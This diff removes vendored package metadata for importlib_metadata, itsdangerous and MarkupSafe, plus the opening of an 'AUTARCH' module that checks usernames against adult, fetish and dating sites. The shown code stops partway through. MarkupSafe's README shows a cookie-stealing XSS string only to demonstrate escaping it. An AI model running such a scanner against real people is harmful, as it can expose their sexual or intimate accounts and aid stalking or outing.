LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@@ -1,133 +0,0 @@
Metadata-Version: 2.4
Name: importlib_metadata
Version: 8.7.1
Summary: Read metadata from Python packages
Author-email: "Jason R. Coombs" <jaraco@jaraco.com>
License-Expression: Apache-2.0
Project-URL: Source, https://github.com/python/importlib_metadata
Classifier: Development Status :: 5 - Production/Stable
Classifier: Intended Audience :: Developers
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3 :: Only
Requires-Python: >=3.9
Description-Content-Type: text/x-rst
License-File: LICENSE
Requires-Dist: zipp>=3.20
Provides-Extra: test
Requires-Dist: pytest!=8.1.*,>=6; extra == "test"
Requires-Dist: packaging; extra == "test"
Requires-Dist: pyfakefs; extra == "test"
Requires-Dist: flufl.flake8; extra == "test"
Requires-Dist: pytest-perf>=0.9.2; extra == "test"
Requires-Dist: jaraco.test>=5.4; extra == "test"
Provides-Extra: doc
Requires-Dist: sphinx>=3.5; extra == "doc"
Requires-Dist: jaraco.packaging>=9.3; extra == "doc"
Requires-Dist: rst.linker>=1.9; extra == "doc"
Requires-Dist: furo; extra == "doc"
Requires-Dist: sphinx-lint; extra == "doc"
Requires-Dist: jaraco.tidelift>=1.4; extra == "doc"
Provides-Extra: perf
Requires-Dist: ipython; extra == "perf"
Provides-Extra: check
Requires-Dist: pytest-checkdocs>=2.4; extra == "check"
Requires-Dist: pytest-ruff>=0.2.1; sys_platform != "cygwin" and extra == "check"
Provides-Extra: cover
Requires-Dist: pytest-cov; extra == "cover"
Provides-Extra: enabler
Requires-Dist: pytest-enabler>=3.4; extra == "enabler"
Provides-Extra: type
Requires-Dist: pytest-mypy>=1.0.1; extra == "type"
Requires-Dist: mypy<1.19; platform_python_implementation == "PyPy" and extra == "type"
Dynamic: license-file
.. image:: https://img.shields.io/pypi/v/importlib_metadata.svg
:target: https://pypi.org/project/importlib_metadata
.. image:: https://img.shields.io/pypi/pyversions/importlib_metadata.svg
.. image:: https://github.com/python/importlib_metadata/actions/workflows/main.yml/badge.svg
:target: https://github.com/python/importlib_metadata/actions?query=workflow%3A%22tests%22
:alt: tests
.. image:: https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/astral-sh/ruff/main/assets/badge/v2.json
:target: https://github.com/astral-sh/ruff
:alt: Ruff
.. image:: https://readthedocs.org/projects/importlib-metadata/badge/?version=latest
:target: https://importlib-metadata.readthedocs.io/en/latest/?badge=latest
.. image:: https://img.shields.io/badge/skeleton-2025-informational
:target: https://blog.jaraco.com/skeleton
.. image:: https://tidelift.com/badges/package/pypi/importlib-metadata
:target: https://tidelift.com/subscription/pkg/pypi-importlib-metadata?utm_source=pypi-importlib-metadata&utm_medium=readme
Library to access the metadata for a Python package.
This package supplies third-party access to the functionality of
`importlib.metadata <https://docs.python.org/3/library/importlib.metadata.html>`_
including improvements added to subsequent Python versions.
Compatibility
=============
New features are introduced in this third-party library and later merged
into CPython. The following table indicates which versions of this library
were contributed to different versions in the standard library:
.. list-table::
:header-rows: 1
* - importlib_metadata
- stdlib
* - 7.0
- 3.13
* - 6.5
- 3.12
* - 4.13
- 3.11
* - 4.6
- 3.10
* - 1.4
- 3.8
Usage
=====
See the `online documentation <https://importlib-metadata.readthedocs.io/>`_
for usage details.
`Finder authors
<https://docs.python.org/3/reference/import.html#finders-and-loaders>`_ can
also add support for custom package installers. See the above documentation
for details.
Caveats
=======
This project primarily supports third-party packages installed by PyPA
tools (or other conforming packages). It does not support:
- Packages in the stdlib.
- Packages installed without metadata.
Project details
===============
* Project home: https://github.com/python/importlib_metadata
* Report bugs at: https://github.com/python/importlib_metadata/issues
* Code hosting: https://github.com/python/importlib_metadata
* Documentation: https://importlib-metadata.readthedocs.io/
For Enterprise
==============
Available as part of the Tidelift Subscription.
This project and the maintainers of thousands of other packages are working with Tidelift to deliver one enterprise subscription that covers all of the open source you use.
`Learn more <https://tidelift.com/subscription/pkg/pypi-importlib-metadata?utm_source=pypi-importlib-metadata&utm_medium=referral&utm_campaign=github>`_.

View File

@@ -1,33 +0,0 @@
importlib_metadata-8.7.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
importlib_metadata-8.7.1.dist-info/METADATA,sha256=o-OLnuQyYonUhkcE8w4pnudp4jCc6fSnXw3hpQrQo1Y,4670
importlib_metadata-8.7.1.dist-info/RECORD,,
importlib_metadata-8.7.1.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
importlib_metadata-8.7.1.dist-info/licenses/LICENSE,sha256=RYUC4S2Xu_ZEOGBqIARKqF6wX7CoqAe7NdvsJT_R_AQ,10278
importlib_metadata-8.7.1.dist-info/top_level.txt,sha256=CO3fD9yylANiXkrMo4qHLV_mqXL2sC5JFKgt1yWAT-A,19
importlib_metadata/__init__.py,sha256=u7Ew4-UkpzNY-ka6k-WRkDhQZS1akkLMfWs2eEnUmGo,37734
importlib_metadata/__pycache__/__init__.cpython-313.pyc,,
importlib_metadata/__pycache__/_adapters.cpython-313.pyc,,
importlib_metadata/__pycache__/_collections.cpython-313.pyc,,
importlib_metadata/__pycache__/_compat.cpython-313.pyc,,
importlib_metadata/__pycache__/_functools.cpython-313.pyc,,
importlib_metadata/__pycache__/_itertools.cpython-313.pyc,,
importlib_metadata/__pycache__/_meta.cpython-313.pyc,,
importlib_metadata/__pycache__/_text.cpython-313.pyc,,
importlib_metadata/__pycache__/_typing.cpython-313.pyc,,
importlib_metadata/__pycache__/diagnose.cpython-313.pyc,,
importlib_metadata/_adapters.py,sha256=r5i8XLrKT6xmrpoREZhZrfczOYDmrVZeJBW5u0HzIGU,3797
importlib_metadata/_collections.py,sha256=CxAhzlF3g1rwu_fMiB53JtRQiUFh0RgiMpoOvmK_ocg,760
importlib_metadata/_compat.py,sha256=VC5ZDLlT-BcshauCShdFJvMNLntJJfZzNK1meGa-enw,1313
importlib_metadata/_functools.py,sha256=0pA2OoiVK6wnsGq8HvVIzgdkvLiZ0nfnfw7IsndjoHk,3510
importlib_metadata/_itertools.py,sha256=nMvp9SfHAQ_JYwK4L2i64lr3GRXGlYlikGTVzWbys_E,5351
importlib_metadata/_meta.py,sha256=EtHyiJ5kGzWFDfKyQ2XQp6Vu113CeadKW1Vf6aGc1B4,1765
importlib_metadata/_text.py,sha256=HCsFksZpJLeTP3NEk_ngrAeXVRRtTrtyh9eOABoRP4A,2166
importlib_metadata/_typing.py,sha256=EQKhhsEgz_Sa-FnePI-faC72rNOOQwopjA1i5pG8FDU,367
importlib_metadata/compat/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
importlib_metadata/compat/__pycache__/__init__.cpython-313.pyc,,
importlib_metadata/compat/__pycache__/py311.cpython-313.pyc,,
importlib_metadata/compat/__pycache__/py39.cpython-313.pyc,,
importlib_metadata/compat/py311.py,sha256=uqm-K-uohyj1042TH4a9Er_I5o7667DvulcD-gC_fSA,608
importlib_metadata/compat/py39.py,sha256=J3W7PUVRPNYMmcvT12RF8ndBU9e8_T0Ac4U87Bsrq70,1187
importlib_metadata/diagnose.py,sha256=nkSRMiowlmkhLYhKhvCg9glmt_11Cox-EmLzEbqYTa8,379
importlib_metadata/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0

View File

@@ -1,5 +0,0 @@
Wheel-Version: 1.0
Generator: setuptools (80.9.0)
Root-Is-Purelib: true
Tag: py3-none-any

View File

@@ -1,73 +0,0 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files.
"Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions:
(a) You must give any other recipients of the Work or Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License.
You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives.
Copyright 2025 [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -1,28 +0,0 @@
Copyright 2011 Pallets
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@@ -1,60 +0,0 @@
Metadata-Version: 2.1
Name: itsdangerous
Version: 2.2.0
Summary: Safely pass data to untrusted environments and back.
Maintainer-email: Pallets <contact@palletsprojects.com>
Requires-Python: >=3.8
Description-Content-Type: text/markdown
Classifier: Development Status :: 5 - Production/Stable
Classifier: Intended Audience :: Developers
Classifier: License :: OSI Approved :: BSD License
Classifier: Operating System :: OS Independent
Classifier: Programming Language :: Python
Classifier: Typing :: Typed
Project-URL: Changes, https://itsdangerous.palletsprojects.com/changes/
Project-URL: Chat, https://discord.gg/pallets
Project-URL: Documentation, https://itsdangerous.palletsprojects.com/
Project-URL: Donate, https://palletsprojects.com/donate
Project-URL: Source, https://github.com/pallets/itsdangerous/
# ItsDangerous
... so better sign this
Various helpers to pass data to untrusted environments and to get it
back safe and sound. Data is cryptographically signed to ensure that a
token has not been tampered with.
It's possible to customize how data is serialized. Data is compressed as
needed. A timestamp can be added and verified automatically while
loading a token.
## A Simple Example
Here's how you could generate a token for transmitting a user's id and
name between web requests.
```python
from itsdangerous import URLSafeSerializer
auth_s = URLSafeSerializer("secret key", "auth")
token = auth_s.dumps({"id": 5, "name": "itsdangerous"})
print(token)
# eyJpZCI6NSwibmFtZSI6Iml0c2Rhbmdlcm91cyJ9.6YP6T0BaO67XP--9UzTrmurXSmg
data = auth_s.loads(token)
print(data["name"])
# itsdangerous
```
## Donate
The Pallets organization develops and supports ItsDangerous and other
popular packages. In order to grow the community of contributors and
users, and allow the maintainers to devote more time to the projects,
[please donate today][].
[please donate today]: https://palletsprojects.com/donate

View File

@@ -1,22 +0,0 @@
itsdangerous-2.2.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
itsdangerous-2.2.0.dist-info/LICENSE.txt,sha256=Y68JiRtr6K0aQlLtQ68PTvun_JSOIoNnvtfzxa4LCdc,1475
itsdangerous-2.2.0.dist-info/METADATA,sha256=0rk0-1ZwihuU5DnwJVwPWoEI4yWOyCexih3JyZHblhE,1924
itsdangerous-2.2.0.dist-info/RECORD,,
itsdangerous-2.2.0.dist-info/WHEEL,sha256=EZbGkh7Ie4PoZfRQ8I0ZuP9VklN_TvcZ6DSE5Uar4z4,81
itsdangerous/__init__.py,sha256=4SK75sCe29xbRgQE1ZQtMHnKUuZYAf3bSpZOrff1IAY,1427
itsdangerous/__pycache__/__init__.cpython-313.pyc,,
itsdangerous/__pycache__/_json.cpython-313.pyc,,
itsdangerous/__pycache__/encoding.cpython-313.pyc,,
itsdangerous/__pycache__/exc.cpython-313.pyc,,
itsdangerous/__pycache__/serializer.cpython-313.pyc,,
itsdangerous/__pycache__/signer.cpython-313.pyc,,
itsdangerous/__pycache__/timed.cpython-313.pyc,,
itsdangerous/__pycache__/url_safe.cpython-313.pyc,,
itsdangerous/_json.py,sha256=wPQGmge2yZ9328EHKF6gadGeyGYCJQKxtU-iLKE6UnA,473
itsdangerous/encoding.py,sha256=wwTz5q_3zLcaAdunk6_vSoStwGqYWe307Zl_U87aRFM,1409
itsdangerous/exc.py,sha256=Rr3exo0MRFEcPZltwecyK16VV1bE2K9_F1-d-ljcUn4,3201
itsdangerous/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
itsdangerous/serializer.py,sha256=PmdwADLqkSyQLZ0jOKAgDsAW4k_H0TlA71Ei3z0C5aI,15601
itsdangerous/signer.py,sha256=YO0CV7NBvHA6j549REHJFUjUojw2pHqwcUpQnU7yNYQ,9647
itsdangerous/timed.py,sha256=6RvDMqNumGMxf0-HlpaZdN9PUQQmRvrQGplKhxuivUs,8083
itsdangerous/url_safe.py,sha256=az4e5fXi_vs-YbWj8YZwn4wiVKfeD--GEKRT5Ueu4P4,2505

View File

@@ -1,4 +0,0 @@
Wheel-Version: 1.0
Generator: flit 3.9.0
Root-Is-Purelib: true
Tag: py3-none-any

View File

@@ -1,74 +0,0 @@
Metadata-Version: 2.4
Name: MarkupSafe
Version: 3.0.3
Summary: Safely add untrusted strings to HTML/XML markup.
Maintainer-email: Pallets <contact@palletsprojects.com>
License-Expression: BSD-3-Clause
Project-URL: Donate, https://palletsprojects.com/donate
Project-URL: Documentation, https://markupsafe.palletsprojects.com/
Project-URL: Changes, https://markupsafe.palletsprojects.com/page/changes/
Project-URL: Source, https://github.com/pallets/markupsafe/
Project-URL: Chat, https://discord.gg/pallets
Classifier: Development Status :: 5 - Production/Stable
Classifier: Environment :: Web Environment
Classifier: Intended Audience :: Developers
Classifier: Operating System :: OS Independent
Classifier: Programming Language :: Python
Classifier: Topic :: Internet :: WWW/HTTP :: Dynamic Content
Classifier: Topic :: Text Processing :: Markup :: HTML
Classifier: Typing :: Typed
Requires-Python: >=3.9
Description-Content-Type: text/markdown
License-File: LICENSE.txt
Dynamic: license-file
<div align="center"><img src="https://raw.githubusercontent.com/pallets/markupsafe/refs/heads/stable/docs/_static/markupsafe-name.svg" alt="" height="150"></div>
# MarkupSafe
MarkupSafe implements a text object that escapes characters so it is
safe to use in HTML and XML. Characters that have special meanings are
replaced so that they display as the actual characters. This mitigates
injection attacks, meaning untrusted user input can safely be displayed
on a page.
## Examples
```pycon
>>> from markupsafe import Markup, escape
>>> # escape replaces special characters and wraps in Markup
>>> escape("<script>alert(document.cookie);</script>")
Markup('&lt;script&gt;alert(document.cookie);&lt;/script&gt;')
>>> # wrap in Markup to mark text "safe" and prevent escaping
>>> Markup("<strong>Hello</strong>")
Markup('<strong>hello</strong>')
>>> escape(Markup("<strong>Hello</strong>"))
Markup('<strong>hello</strong>')
>>> # Markup is a str subclass
>>> # methods and operators escape their arguments
>>> template = Markup("Hello <em>{name}</em>")
>>> template.format(name='"World"')
Markup('Hello <em>&#34;World&#34;</em>')
```
## Donate
The Pallets organization develops and supports MarkupSafe and other
popular packages. In order to grow the community of contributors and
users, and allow the maintainers to devote more time to the projects,
[please donate today][].
[please donate today]: https://palletsprojects.com/donate
## Contributing
See our [detailed contributing documentation][contrib] for many ways to
contribute, including reporting issues, requesting features, asking or answering
questions, and making PRs.
[contrib]: https://palletsprojects.com/contributing/

View File

@@ -1,14 +0,0 @@
markupsafe-3.0.3.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
markupsafe-3.0.3.dist-info/METADATA,sha256=8K5duwnVD7X3Yyw9U_AiCZXvdgGeWJLgpUV0ATak48s,2764
markupsafe-3.0.3.dist-info/RECORD,,
markupsafe-3.0.3.dist-info/WHEEL,sha256=qV0EIPljj1XC_vuSatRWjn02nZIz3N1t8jsZz7HBr2U,101
markupsafe-3.0.3.dist-info/licenses/LICENSE.txt,sha256=RjHsDbX9kKVH4zaBcmTGeYIUM4FG-KyUtKV_lu6MnsQ,1503
markupsafe-3.0.3.dist-info/top_level.txt,sha256=qy0Plje5IJuvsCBjejJyhDCjEAdcDLK_2agVcex8Z6U,11
markupsafe/__init__.py,sha256=ut2LXj-6sqkIVUdSAx-dboB5crAaRG5y7EO447hmaro,13644
markupsafe/__pycache__/__init__.cpython-313.pyc,,
markupsafe/__pycache__/_native.cpython-313.pyc,,
markupsafe/_native.py,sha256=2ptkJ40yCcp9kq3L1NqpgjfpZB-obniYKFFKUOkHh4Q,218
markupsafe/_speedups.c,sha256=efc6azc50WbKxSNinxV4rktIX2xzWfKsLvncC8Z3I_w,4527
markupsafe/_speedups.cp313-win_amd64.pyd,sha256=pEBLb45Lqy54Kzc1B6MKt7cTDIiH9ivw5OSptl0K3TA,13312
markupsafe/_speedups.pyi,sha256=LSDmXYOefH4HVpAXuL8sl7AttLw0oXh1njVoVZp2wqQ,42
markupsafe/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0

View File

@@ -1,5 +0,0 @@
Wheel-Version: 1.0
Generator: setuptools (80.9.0)
Root-Is-Purelib: false
Tag: cp313-cp313-win_amd64

View File

@@ -1,28 +0,0 @@
Copyright 2010 Pallets
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@@ -1 +0,0 @@
# AUTARCH Modules

View File

@@ -1,847 +0,0 @@
"""
AUTARCH Adult Site Scanner Module
Username OSINT for adult-oriented platforms
Searches usernames across adult content sites, fanfiction platforms,
and related communities.
"""
import sys
import subprocess
import re
import json
from pathlib import Path
from urllib.parse import quote
from concurrent.futures import ThreadPoolExecutor, as_completed
# Module metadata
DESCRIPTION = "Adult site username OSINT scanner"
AUTHOR = "darkHal"
VERSION = "1.3"
CATEGORY = "osint"
sys.path.insert(0, str(Path(__file__).parent.parent))
from core.banner import Colors, clear_screen, display_banner
from core.config import get_config
# Custom sites storage file
from core.paths import get_app_dir as _app_dir
CUSTOM_SITES_FILE = _app_dir() / "custom_adultsites.json"
# Bulk import file
BULK_IMPORT_FILE = _app_dir() / "custom_sites.inf"
# Common username URL patterns for auto-detection
COMMON_PATTERNS = [
'/user/{}',
'/users/{}',
'/u/{}',
'/profile/{}',
'/profiles/{}',
'/member/{}',
'/members/{}',
'/@{}',
'/{}',
'/people/{}',
'/account/{}',
'/id/{}',
'/{}/profile',
'/user/{}/profile',
'/channel/{}',
'/c/{}',
'/p/{}',
]
class AdultScanner:
"""Username scanner for adult-oriented sites."""
# Default site definitions: (name, url_template, method)
# method: 'status' = check HTTP status, 'content' = check page content
DEFAULT_SITES = {
# Fanfiction & Story Sites
'fanfiction': [
('Archive of Our Own', 'https://archiveofourown.org/users/{}/profile', 'status'),
('FanFiction.net', 'https://www.fanfiction.net/u/0/{}', 'content'),
('FimFiction', 'https://www.fimfiction.net/user/{}', 'status'),
('Wattpad', 'https://www.wattpad.com/user/{}', 'status'),
('Literotica', 'https://www.literotica.com/stories/memberpage.php?uid=0&username={}', 'content'),
('Adult-FanFiction', 'http://members.adult-fanfiction.org/profile.php?no=0&uname={}', 'content'),
('Hentai Foundry', 'https://www.hentai-foundry.com/user/{}/profile', 'status'),
('SoFurry', 'https://www.sofurry.com/browse/user/{}', 'status'),
('Inkbunny', 'https://inkbunny.net/{}', 'status'),
],
# Art & Creative
'art': [
('DeviantArt', 'https://www.deviantart.com/{}', 'status'),
('Fur Affinity', 'https://www.furaffinity.net/user/{}/', 'status'),
('Newgrounds', 'https://{}.newgrounds.com', 'status'),
('Pixiv', 'https://www.pixiv.net/en/users/{}', 'content'),
('Rule34', 'https://rule34.xxx/index.php?page=account&s=profile&uname={}', 'content'),
('e621', 'https://e621.net/users?name={}', 'content'),
('Derpibooru', 'https://derpibooru.org/profiles/{}', 'status'),
('Twitter/X', 'https://twitter.com/{}', 'status'),
('Tumblr', 'https://{}.tumblr.com', 'status'),
('Pillowfort', 'https://www.pillowfort.social/{}', 'status'),
],
# Video & Streaming
'video': [
('Pornhub', 'https://www.pornhub.com/users/{}', 'status'),
('XVideos', 'https://www.xvideos.com/profiles/{}', 'status'),
('xHamster', 'https://xhamster.com/users/{}', 'status'),
('Chaturbate', 'https://chaturbate.com/{}/', 'status'),
('OnlyFans', 'https://onlyfans.com/{}', 'status'),
('Fansly', 'https://fansly.com/{}', 'status'),
('ManyVids', 'https://www.manyvids.com/Profile/0/{}/', 'content'),
('PocketStars', 'https://pocketstars.com/{}', 'status'),
],
# Forums & Communities
'forums': [
('Reddit', 'https://www.reddit.com/user/{}', 'status'),
('F-List', 'https://www.f-list.net/c/{}', 'status'),
('FetLife', 'https://fetlife.com/users/{}', 'content'),
('Kink.com', 'https://www.kink.com/model/{}', 'content'),
('BDSMLR', 'https://{}.bdsmlr.com', 'status'),
('CollarSpace', 'https://www.collarspace.com/view/{}', 'content'),
],
# Dating & Social
'dating': [
('AdultFriendFinder', 'https://adultfriendfinder.com/p/{}', 'content'),
('Ashley Madison', 'https://www.ashleymadison.com/{}', 'content'),
('Grindr', 'https://www.grindr.com/{}', 'content'),
('Scruff', 'https://www.scruff.com/{}', 'content'),
('Recon', 'https://www.recon.com/{}', 'content'),
],
# Gaming Related (with adult content)
'gaming': [
('F95zone', 'https://f95zone.to/members/?username={}', 'content'),
('LoversLab', 'https://www.loverslab.com/profile/?name={}', 'content'),
('ULMF', 'https://ulmf.org/member.php?username={}', 'content'),
('Nutaku', 'https://www.nutaku.net/user/{}/', 'content'),
],
}
def __init__(self):
self.results = []
self.config = get_config()
osint_settings = self.config.get_osint_settings()
self.timeout = osint_settings['timeout']
self.max_threads = osint_settings['max_threads']
# Copy default sites and add custom sites
self.sites = {k: list(v) for k, v in self.DEFAULT_SITES.items()}
self.sites['custom'] = []
self.load_custom_sites()
def load_custom_sites(self):
"""Load custom sites from JSON file."""
if CUSTOM_SITES_FILE.exists():
try:
